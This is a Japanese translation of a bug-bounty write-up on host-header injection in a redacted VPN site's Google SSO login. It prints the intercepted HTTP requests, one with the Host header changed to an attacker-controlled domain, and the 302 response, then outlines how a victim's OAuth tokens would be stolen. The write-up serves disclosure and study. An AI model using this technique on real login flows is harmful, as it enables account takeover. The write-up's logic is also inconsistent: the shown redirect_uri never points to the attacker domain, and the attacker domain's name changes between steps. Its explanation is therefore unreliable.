Unveiling Vulnerabilities: Host-header injection in OAuth Functionality から学ぶ

ソース:

medium.com

脆弱性:ホストヘッダーインジェクション

 

訳:

再現する手順

これはプライベート プログラムであるため、会社のドメインを公開するつもりはありません。
ドメイン名を次のように考えてみましょう vpn.redacted.com

 https://vpn.redacted.com/脆弱性を検索すると、シングル サインオン (SSO) 機能を見つけました 。

シングル サインオン (SSO) は、ユーザーが単一セットのログイン資格情報を使用して複数のアプリケーションまたはサービスにアクセスできるようにするセキュリティ メカニズムです。
ユーザーがアプリケーションごとに個別のユーザー名とパスワードを覚えて入力する必要がなくなりました。

 

1. Sign in with Googleボタンをクリックすると、 HTTP リクエストが表示されます。

GET /sso/request HTTP/2
Host: vpn.redacted.com
User-Agent: ******
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://vpn.redacted.com/login
Upgrade-Insecure-Requests: 1

 

2. Web プロキシ (Burp Suite) を使用して HTTP リクエストをインターセプトし、 ホストヘッダーを 次のように変更しました。 www.controlledbyme.com

 

GET /sso/request HTTP/2
Host: www.controlledbyme.com
User-Agent: ******
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://vpn.redacted.com/login
Upgrade-Insecure-Requests: 1

 

3. リクエストを Web サーバーに転送すると、302-Found で応答しました。

 

HTTP/2 302 Found
Content-Type: text/html; charset=utf-8
Date: Sun, 23 Jul 2023 05:57:11 GMT
Location: https://accounts.google.com/o/oauth2/auth?access_type=offline&approval_prompt=force&client_id=***.apps.googleusercontent.com&redirect_uri=https%3A%2F%2Fauth.redacted.com%2Fcallback%2Fgoogle&response_type=code&scope=profile+email&state=******
Strict-Transport-Security: max-age=31536000
X-Frame-Options: DENY
Content-Length: 935

 

この時点で、攻撃者が行うことは、 Location: https://accounts.google.com/o/oauth2/auth?access_type=offline&approval_prompt=force&client_id=***.apps.googleusercontent.com&redirect_uri=https://auth.redacted.com/callback/google&response_type=code&scope=profile+email&state=***ヘッダーを削除して被害者に送信します。

4. 被害者が認証し、OAuth フローが完了すると、被害者の OAuth トークンと検証子が攻撃者が制御するドメインに、またはデモンストレーションの目的で送信されます。 www.controlledbyattacker.com に。

5. ここから、攻撃者はログイン トークンを収集し、被害者として VPN サービスにサインインできます。

 

攻撃者がこの脆弱性の悪用に成功した場合、被害者のログイン トークンを盗み、それを使用して被害者のアカウントから VPN サービスにログインする可能性があります。
これは、ユーザーの個人データの機密性に大きな影響を与える可能性があります。